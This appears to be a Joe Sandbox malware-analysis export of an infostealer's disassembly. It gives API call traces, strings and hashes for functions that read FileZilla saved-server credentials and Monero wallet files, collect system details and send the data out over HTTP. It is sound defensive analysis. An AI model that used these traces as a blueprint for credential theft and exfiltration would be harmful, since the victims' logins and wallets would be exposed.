lstrcat.KERNEL32(?,00D7E110), ref: 00067B55
lstrcat.KERNEL32(?,?), ref: 00067B69
lstrcat.KERNEL32(?,?), ref: 00067B7D
lstrcat.KERNEL32(?,?), ref: 00067B91
lstrcat.KERNEL32(?,00D7DC98), ref: 00067BA4
lstrcat.KERNEL32(?,00D7DCF8), ref: 00067BB8
lstrcat.KERNEL32(?,00D7DDE8), ref: 00067BCC
lstrcat.KERNEL32(?,00D7DD10), ref: 00067BDF
lstrcat.KERNEL32(?,00D7E178), ref: 00067BF3
lstrcat.KERNEL32(?,?), ref: 00067C07
lstrcat.KERNEL32(?,?), ref: 00067C1B
lstrcat.KERNEL32(?,?), ref: 00067C2F
lstrcat.KERNEL32(?,00D7DC98), ref: 00067C43
lstrcat.KERNEL32(?,00D7DCF8), ref: 00067C56
lstrcat.KERNEL32(?,00D7DDE8), ref: 00067C6A
lstrcat.KERNEL32(?,00D7DD10), ref: 00067C7E

Part of subcall function 000675D0: lstrcat.KERNEL32(353CB020,000817FC), ref: 00067606
Part of subcall function 000675D0: lstrcat.KERNEL32(353CB020,00000000), ref: 00067648
Part of subcall function 000675D0: lstrcat.KERNEL32(353CB020, : ), ref: 0006765A
Part of subcall function 000675D0: lstrcat.KERNEL32(353CB020,00000000), ref: 0006768F
Part of subcall function 000675D0: lstrcat.KERNEL32(353CB020,00081804), ref: 000676A0
Part of subcall function 000675D0: lstrcat.KERNEL32(353CB020,00000000), ref: 000676D3
Part of subcall function 000675D0: lstrcat.KERNEL32(353CB020,00081808), ref: 000676ED
Part of subcall function 000675D0: task.LIBCPMTD ref: 000676FB

lstrcat.KERNEL32(?,00D7E3E0), ref: 00067E0B
lstrcat.KERNEL32(?,00D7D738), ref: 00067E1E
lstrlen.KERNEL32(353CB020), ref: 00067E2B
lstrlen.KERNEL32(353CB020), ref: 00067E3B

Part of subcall function 0007A740: lstrcpy.KERNEL32(00080E17,00000000), ref: 0007A788

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: 4bf28c80cf7287f7b9ebe2a4016c94bdeade99fd5fc5968e0c6a5bffe4cc336e
Instruction ID: 66bcada9834acda9fed96ed37687e41adaa7faf9dc3be50955c74c5ef4a007bd
Opcode Fuzzy Hash: 4bf28c80cf7287f7b9ebe2a4016c94bdeade99fd5fc5968e0c6a5bffe4cc336e
Instruction Fuzzy Hash: 8D32FCB2D10314ABCB55EBA0EC89DEA7378AF45700F444A89F21D62091EF78E789CF55

Function 00070250 Relevance: 70.4, APIs: 29, Strings: 11, Instructions: 366
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0007A740: lstrcpy.KERNEL32(00080E17,00000000), ref: 0007A788

Part of subcall function 00078DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00078E0B

Part of subcall function 0007A920: lstrcpy.KERNEL32(00000000,?), ref: 0007A972
Part of subcall function 0007A920: lstrcat.KERNEL32(00000000), ref: 0007A982

Part of subcall function 0007A8A0: lstrcpy.KERNEL32(?,00080E17), ref: 0007A905

Part of subcall function 0007A9B0: lstrlen.KERNEL32(?,00D78A30,?,\Monero\wallet.keys,00080E17), ref: 0007A9C5
Part of subcall function 0007A9B0: lstrcpy.KERNEL32(00000000), ref: 0007AA04
Part of subcall function 0007A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0007AA12

Part of subcall function 0007A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0007A7E6

Part of subcall function 000699C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 000699EC
Part of subcall function 000699C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00069A11
Part of subcall function 000699C0: LocalAlloc.KERNEL32(00000040,?), ref: 00069A31
Part of subcall function 000699C0: ReadFile.KERNEL32(000000FF,?,00000000,0006148F,00000000), ref: 00069A5A
Part of subcall function 000699C0: LocalFree.KERNEL32(0006148F), ref: 00069A90
Part of subcall function 000699C0: CloseHandle.KERNEL32(000000FF), ref: 00069A9A

Part of subcall function 00078E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00078E52

GetProcessHeap.KERNEL32(00000000, 6600 @ 2.40 GHz- Cores: 2- Threads: 4- RAM: 8191 MB- Display Resolution: 1280x1024- GPU:-Microsoft Basic Display AdapterUser Agents:Installed Apps:All Users:Google Chrome - 117.0.5938.132Microsoft Edge - 117.0.2045.47Microsoft Edge Updat,00080DBA,00080DB7,00080DB6,00080DB3), ref: 00070362
RtlAllocateHeap.NTDLL(00000000), ref: 00070369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00070385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00080DB2), ref: 00070393
StrStrA.SHLWAPI(00000000,<Port>), ref: 000703CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00080DB2), ref: 000703DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00070419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00080DB2), ref: 00070427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00070463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00080DB2), ref: 00070475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00080DB2), ref: 00070502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00080DB2), ref: 0007051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00080DB2), ref: 00070532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00080DB2), ref: 0007054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00070562
lstrcat.KERNEL32(?,profile: null), ref: 00070571
lstrcat.KERNEL32(?,url: ), ref: 00070580
lstrcat.KERNEL32(?,00000000), ref: 00070593
lstrcat.KERNEL32(?,00081678), ref: 000705A2
lstrcat.KERNEL32(?,00000000), ref: 000705B5
lstrcat.KERNEL32(?,0008167C), ref: 000705C4
lstrcat.KERNEL32(?,login: ), ref: 000705D3
lstrcat.KERNEL32(?,00000000), ref: 000705E6
lstrcat.KERNEL32(?,00081688), ref: 000705F5
lstrcat.KERNEL32(?,password: ), ref: 00070604
lstrcat.KERNEL32(?,00000000), ref: 00070617
lstrcat.KERNEL32(?,00081698), ref: 00070626
lstrcat.KERNEL32(?,0008169C), ref: 00070635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00080DB2), ref: 0007068E

Strings

6600 @ 2.40 GHz- Cores: 2- Threads: 4- RAM: 8191 MB- Display Resolution: 1280x1024- GPU:-Microsoft Basic Display AdapterUser Agents:Installed Apps:All Users:Google Chrome - 117.0.5938.132Microsoft Edge - 117.0.2045.47Microsoft Edge Updat, xrefs: 0007035B
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 000702A4
<Pass encoding="base64">, xrefs: 0007045A
login: , xrefs: 000705CA
browser: FileZilla, xrefs: 00070559
url: , xrefs: 00070577
password: , xrefs: 000705FB
<Host>, xrefs: 0007037C
<User>, xrefs: 00070410
profile: null, xrefs: 00070568
<Port>, xrefs: 000703C6

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: 6600 @ 2.40 GHz- Cores: 2- Threads: 4- RAM: 8191 MB- Display Resolution: 1280x1024- GPU:-Microsoft Basic Display AdapterUser Agents:Installed Apps:All Users:Google Chrome - 117.0.5938.132Microsoft Edge - 117.0.2045.47Microsoft Edge Updat$<Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-3921460182
Opcode ID: 0d791c09c829bf01bd757da7ce800d5875fdd9ea30b9631ca6734b595f2026f6
Instruction ID: c6f1c34b14d80383c1e159cb0db58e8f770a826c48a1c58ab81d2711b1003bf4
Opcode Fuzzy Hash: 0d791c09c829bf01bd757da7ce800d5875fdd9ea30b9631ca6734b595f2026f6
Instruction Fuzzy Hash: 39D12571E00108ABCB44FBF4DD5ADEE7378BF55300F448518F116A6096DF78AA4ACB66

Function 00065100 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0007A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0007A7E6

Part of subcall function 000647B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00064839
Part of subcall function 000647B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00064849

lstrlen.KERNEL32(00000000), ref: 00065193

Part of subcall function 00078EA0: CryptBinaryToStringA.CRYPT32(00000000,00065184,40000001,00000000,00000000,?,00065184), ref: 00078EC0

Part of subcall function 0007A740: lstrcpy.KERNEL32(00080E17,00000000), ref: 0007A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00065207
StrCmpCA.SHLWAPI(?,00D7E3F0), ref: 00065225
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00065340
HttpOpenRequestA.WININET(00000000,00D7E3A0,?,00D7DB90,00000000,00000000,00400100,00000000), ref: 000653A4

Part of subcall function 0007A9B0: lstrlen.KERNEL32(?,00D78A30,?,\Monero\wallet.keys,00080E17), ref: 0007A9C5
Part of subcall function 0007A9B0: lstrcpy.KERNEL32(00000000), ref: 0007AA04
Part of subcall function 0007A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0007AA12

Part of subcall function 0007A8A0: lstrcpy.KERNEL32(?,00080E17), ref: 0007A905

Part of subcall function 0007A920: lstrcpy.KERNEL32(00000000,?), ref: 0007A972
Part of subcall function 0007A920: lstrcat.KERNEL32(00000000), ref: 0007A982

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,00D7E320,00000000,?,00D79A08,00000000,?,000819DC,00000000,?,000751CF), ref: 00065737
lstrlen.KERNEL32(00000000), ref: 0006574B
GetProcessHeap.KERNEL32(00000000,?), ref: 0006575C
RtlAllocateHeap.NTDLL(00000000), ref: 00065763
lstrlen.KERNEL32(00000000), ref: 00065778
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 000657A9
lstrlen.KERNEL32(00000000), ref: 000657C8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 000657E1
lstrlen.KERNEL32(00000000,?,?), ref: 0006580E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00065822
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0006584D
InternetCloseHandle.WININET(00000000), ref: 000658B1
InternetCloseHandle.WININET(00000000), ref: 000658BE
InternetCloseHandle.WININET(00000000), ref: 000658C8

Strings

", xrefs: 000655C4
", xrefs: 00065706
--, xrefs: 00065280
", xrefs: 00065482
------, xrefs: 000654F9
------, xrefs: 00065297
------, xrefs: 0006563B
------, xrefs: 000653B7

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 1224485577-2774362122
Opcode ID: 3ff572c91db24ddcec91bfa3e739240d1e221744d6bda0c7c302bd1dd6e68877
Instruction ID: d5f90ef0d0fabffe0eb98bf46f17a0f5a0917b87a4497d6108ef33a06d7979fe
Opcode Fuzzy Hash: 3ff572c91db24ddcec91bfa3e739240d1e221744d6bda0c7c302bd1dd6e68877
Instruction Fuzzy Hash: 35324471E20118ABDB54EBA0DC95FEEB378BF95700F408159F11A66093DF382A49CF66

Function 0006A790 Relevance: 39.0, APIs: 21, Strings: 1, Instructions: 539
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0007AA70: StrCmpCA.SHLWAPI(00D788C0,0006A7A7,?,0006A7A7,00D788C0), ref: 0007AA8F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0006AAC8
RtlAllocateHeap.NTDLL(00000000), ref: 0006AACF
StrCmpCA.SHLWAPI(00000000,ERROR_RUN_EXTRACTOR), ref: 0006ABE2
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0006A8B0

Part of subcall function 0007A820: lstrlen.KERNEL32(00064F05,?,?,00064F05,00080DDE), ref: 0007A82B
Part of subcall function 0007A820: lstrcpy.KERNEL32(00080DDE,00000000), ref: 0007A885

Part of subcall function 0007A9B0: lstrlen.KERNEL32(?,00D78A30,?,\Monero\wallet.keys,00080E17), ref: 0007A9C5
Part of subcall function 0007A9B0: lstrcpy.KERNEL32(00000000), ref: 0007AA04
Part of subcall function 0007A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0007AA12

Part of subcall function 0007A8A0: lstrcpy.KERNEL32(?,00080E17), ref: 0007A905

lstrcat.KERNEL32(?,00000000), ref: 0006ACEB
lstrcat.KERNEL32(?,00081320), ref: 0006ACFA
lstrcat.KERNEL32(?,00000000), ref: 0006AD0D
lstrcat.KERNEL32(?,00081324), ref: 0006AD1C
lstrcat.KERNEL32(?,00000000), ref: 0006AD2F
lstrcat.KERNEL32(?,00081328), ref: 0006AD3E
lstrcat.KERNEL32(?,00000000), ref: 0006AD51
lstrcat.KERNEL32(?,0008132C), ref: 0006AD60
lstrcat.KERNEL32(?,00000000), ref: 0006AD73
lstrcat.KERNEL32(?,00081330), ref: 0006AD82
lstrcat.KERNEL32(?,00000000), ref: 0006AD95
lstrcat.KERNEL32(?,00081334), ref: 0006ADA4
lstrcat.KERNEL32(?,00000000), ref: 0006ADB7
lstrlen.KERNEL32(?), ref: 0006AE0D
lstrlen.KERNEL32(?), ref: 0006AE1C

Part of subcall function 0007A740: lstrcpy.KERNEL32(00080E17,00000000), ref: 0007A788

Part of subcall function 0007A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0007A7E6

DeleteFileA.KERNEL32(00000000), ref: 0006AE97

Strings

ERROR_RUN_EXTRACTOR, xrefs: 0006ABD4

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcess
String ID: ERROR_RUN_EXTRACTOR
API String ID: 4157063783-2709115261
Opcode ID: 910eb6250b2a8ea678022f3b62c19ce137c34bebc7492aa1df9eb015a65b0180
Instruction ID: 561d38173d8d58567ac4a0613377265e32d3523d4db3c64f8ed2b2905ba4ef92
Opcode Fuzzy Hash: 910eb6250b2a8ea678022f3b62c19ce137c34bebc7492aa1df9eb015a65b0180
Instruction Fuzzy Hash: B2123171E10108ABCB44FBA0DD96EEE7379BF55301F508159B50BA6092DF386E0ACB67

Function 00065960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0007A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0007A7E6

Part of subcall function 000647B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00064839
Part of subcall function 000647B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00064849

Part of subcall function 0007A740: lstrcpy.KERNEL32(00080E17,00000000), ref: 0007A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 000659F8
StrCmpCA.SHLWAPI(?,00D7E3F0), ref: 00065A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00065B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,00D7E2D0,00000000,?,00D79A08,00000000,?,00081A1C), ref: 00065E71
lstrlen.KERNEL32(00000000), ref: 00065E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00065E93
RtlAllocateHeap.NTDLL(00000000), ref: 00065E9A
lstrlen.KERNEL32(00000000), ref: 00065EAF
lstrlen.KERNEL32(00000000), ref: 00065ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00065EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00065F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00065F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00065F4C
InternetCloseHandle.WININET(00000000), ref: 00065FB0
InternetCloseHandle.WININET(00000000), ref: 00065FBD
HttpOpenRequestA.WININET(00000000,00D7E3A0,?,00D7DB90,00000000,00000000,00400100,00000000), ref: 00065BF8

Part of subcall function 0007A9B0: lstrlen.KERNEL32(?,00D78A30,?,\Monero\wallet.keys,00080E17), ref: 0007A9C5
Part of subcall function 0007A9B0: lstrcpy.KERNEL32(00000000), ref: 0007AA04
Part of subcall function 0007A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0007AA12

Part of subcall function 0007A8A0: lstrcpy.KERNEL32(?,00080E17), ref: 0007A905

Part of subcall function 0007A920: lstrcpy.KERNEL32(00000000,?), ref: 0007A972
Part of subcall function 0007A920: lstrcat.KERNEL32(00000000), ref: 0007A982

InternetCloseHandle.WININET(00000000), ref: 00065FC7

Strings

", xrefs: 00065CD5
------, xrefs: 00065D4C
", xrefs: 00065E16
------, xrefs: 00065A96
------, xrefs: 00065C0B

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
